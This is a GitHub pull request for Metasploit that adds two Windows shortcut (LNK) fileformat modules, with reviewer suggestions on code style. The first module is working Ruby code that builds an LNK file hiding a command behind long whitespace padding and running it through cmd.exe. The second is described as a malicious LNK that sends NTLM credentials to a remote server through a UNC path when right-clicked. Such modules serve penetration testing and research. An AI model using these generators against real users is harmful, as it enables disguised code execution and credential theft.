-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds fileformat NTLM leak/LNK padding modules #20518
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from 1 commit
600ad57
3aa18b1
5a82ea5
65549ba
97495cd
2ea4f7c
aa264f5
f844377
ae3b548
8cfc2ae
7b4bb55
d21f791
82e2f03
042cdb7
eaada61
5faf187
38efab0
310b8b7
c044db6
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,154 @@ | ||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Auxiliary | ||||||
| include Msf::Exploit::FILEFORMAT | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super(update_info(info, | ||||||
| 'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding', | ||||||
| 'Description' => %q{ | ||||||
| This module generates Windows LNK (shortcut) file that can execute | ||||||
| arbitrary commands. The LNK file uses environment variables and execute | ||||||
| its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace | ||||||
| character padding bytes and concatenates the actual payload. | ||||||
| }, | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'Author' => [ 'Nafiez' ], | ||||||
| 'References' => [ | ||||||
| ['URL', 'https://zeifan.my/Windows-LNK/'], | ||||||
| ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], | ||||||
| ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] | ||||||
| ], | ||||||
| 'Platform' => 'win', | ||||||
| 'Targets' => [ [ 'Windows', {} ] ], | ||||||
| 'DefaultTarget' => 0, | ||||||
| 'DisclosureDate' => '2025-07-19' | ||||||
| )) | ||||||
|
|
||||||
| register_options([ | ||||||
| OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), | ||||||
| OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), | ||||||
| OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]), | ||||||
|
||||||
| OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]), | ||||||
|
||||||
| OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) | ||||||
| ]) | ||||||
| end | ||||||
|
|
||||||
| def run | ||||||
| filename = datastore['FILENAME'] | ||||||
| command = datastore['COMMAND'] | ||||||
| description = datastore['DESCRIPTION'] | ||||||
| icon_path = datastore['ICON_PATH'] | ||||||
| buffer_size = datastore['BUFFER_SIZE'] | ||||||
|
|
||||||
| print_status("Generating LNK file: #{filename}") | ||||||
|
|
||||||
| lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) | ||||||
|
|
||||||
| file_create(lnk_data) | ||||||
|
|
||||||
| print_good("Successfully created #{filename}") | ||||||
| print_status("Command line buffer size: #{buffer_size} bytes") | ||||||
| print_status("Target command: #{command}") | ||||||
| end | ||||||
|
|
||||||
| private | ||||||
|
|
||||||
| def generate_lnk_file(command, description, icon_path, buffer_size) | ||||||
| data = "".force_encoding('ASCII-8BIT') | ||||||
| data << create_shell_link_header() | ||||||
| data << create_string_data(description) | ||||||
|
|
||||||
| cmd_buffer = create_command_buffer(command, buffer_size) | ||||||
|
|
||||||
| data << create_string_data(cmd_buffer) | ||||||
| data << create_string_data(icon_path) | ||||||
| data << create_environment_block() | ||||||
|
|
||||||
| return data | ||||||
| end | ||||||
|
|
||||||
| def create_shell_link_header | ||||||
| header = "".force_encoding('ASCII-8BIT') | ||||||
| header << [0x0000004C].pack('V') | ||||||
| header << [0x00021401].pack('V') | ||||||
| header << [0x0000].pack('v') | ||||||
| header << [0x0000].pack('v') | ||||||
| header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') | ||||||
|
|
||||||
| link_flags = 0x00000004 | | ||||||
| 0x00000020 | | ||||||
| 0x00000040 | | ||||||
| 0x00000080 | | ||||||
| 0x00000200 | | ||||||
| 0x02000000 | ||||||
|
|
||||||
| header << [link_flags].pack('V') | ||||||
| header << [0x00000000].pack('V') | ||||||
| header << [0x00000000, 0x00000000].pack('VV') | ||||||
| header << [0x00000000, 0x00000000].pack('VV') | ||||||
| header << [0x00000000, 0x00000000].pack('VV') | ||||||
| header << [0].pack('V') | ||||||
| header << [0].pack('V') | ||||||
| header << [0x00000007].pack('V') | ||||||
| header << [0].pack('v') | ||||||
| header << [0].pack('v') | ||||||
| header << [0].pack('V') | ||||||
| header << [0].pack('V') | ||||||
|
|
||||||
| return header | ||||||
| end | ||||||
|
|
||||||
| def create_string_data(str) | ||||||
| data = "".force_encoding('ASCII-8BIT') | ||||||
|
|
||||||
| data << [str.length].pack('v') | ||||||
|
|
||||||
| unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') | ||||||
| data << unicode_str | ||||||
|
|
||||||
| return data | ||||||
| end | ||||||
|
|
||||||
| def create_command_buffer(command, buffer_size) | ||||||
| cmd_command = "/c #{command}" | ||||||
|
|
||||||
| cmd_len = cmd_command.length | ||||||
| fill_bytes = buffer_size - cmd_len | ||||||
|
|
||||||
| if fill_bytes > 0 | ||||||
| buffer = " " * fill_bytes + cmd_command | ||||||
| else | ||||||
| buffer = cmd_command | ||||||
| end | ||||||
|
|
||||||
| buffer = buffer[0, buffer_size] if buffer.length > buffer_size | ||||||
| buffer << "\x00" | ||||||
|
|
||||||
| return buffer | ||||||
| end | ||||||
|
|
||||||
| def create_environment_block | ||||||
| data = "".force_encoding('ASCII-8BIT') | ||||||
|
|
||||||
| block_size = 0x00000314 | ||||||
| data << [block_size].pack('V') | ||||||
|
|
||||||
| signature = 0xA0000001 | ||||||
| data << [signature].pack('V') | ||||||
|
|
||||||
| env_path = "%windir%\\system32\\cmd.exe" | ||||||
|
|
||||||
| ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') | ||||||
| data << ansi_buffer | ||||||
|
|
||||||
| unicode_buffer = env_path.encode('UTF-16LE') | ||||||
| unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') | ||||||
| data << unicode_buffer | ||||||
|
|
||||||
| return data | ||||||
|
||||||
| return data | |
| data |
msutovsky-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
| Original file line number | Diff line number | Diff line change | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,178 @@ | ||||||||||||
| ## | ||||||||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||||||||
| ## | ||||||||||||
|
|
||||||||||||
| class MetasploitModule < Msf::Auxiliary | ||||||||||||
| Rank = GoodRanking | ||||||||||||
|
|
||||||||||||
| include Msf::Exploit::FILEFORMAT | ||||||||||||
|
|
||||||||||||
| def initialize(info = {}) | ||||||||||||
| super(update_info(info, | ||||||||||||
| 'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak', | ||||||||||||
| 'Description' => %q{ | ||||||||||||
| This module creates a malicious Windows shortcut (LNK) file that | ||||||||||||
| specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK) | ||||||||||||
| that can trigger an authentication attempt to a remote server. This can be used | ||||||||||||
| to harvest NTLM authentication credentials. | ||||||||||||
|
|
||||||||||||
| When a victim right-click the generated LNK file, it will attempt to connect to the | ||||||||||||
| the specified UNC path, resulting in an SMB connection that can be captured | ||||||||||||
| to harvest credentials. | ||||||||||||
| }, | ||||||||||||
| 'License' => MSF_LICENSE, | ||||||||||||
| 'Author' => [ | ||||||||||||
| 'Nafiez', # Original POC & Module | ||||||||||||
| ], | ||||||||||||
| 'References' => [ | ||||||||||||
| ['URL', 'https://zeifan.my/Right-Click-LNK/'] | ||||||||||||
| ], | ||||||||||||
| 'Platform' => 'win', | ||||||||||||
| 'Targets' => [ | ||||||||||||
| ['Windows', {}] | ||||||||||||
| ], | ||||||||||||
| 'DefaultTarget' => 0, | ||||||||||||
| 'DisclosureDate' => '2025-05-06', | ||||||||||||
| 'Notes' => { | ||||||||||||
| 'Stability' => [CRASH_SAFE], | ||||||||||||
| 'SideEffects' => [IOC_IN_LOGS], | ||||||||||||
|
||||||||||||
| 'SideEffects' => [IOC_IN_LOGS], | |
| 'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS], |
Outdated
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The begin block is redundant - also, you shouldn't capture the exception, but rather perform checks in file_create and possibly call fail_with there.
Outdated
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The begin block doesn't have to be here
| begin |
Outdated
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| rescue => e | |
| print_error("Error in create_lnk_file: #{e.message}") | |
| print_error("#{e.backtrace.join("\n")}") | |
| raise e | |
| end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you move ZDI ID to references?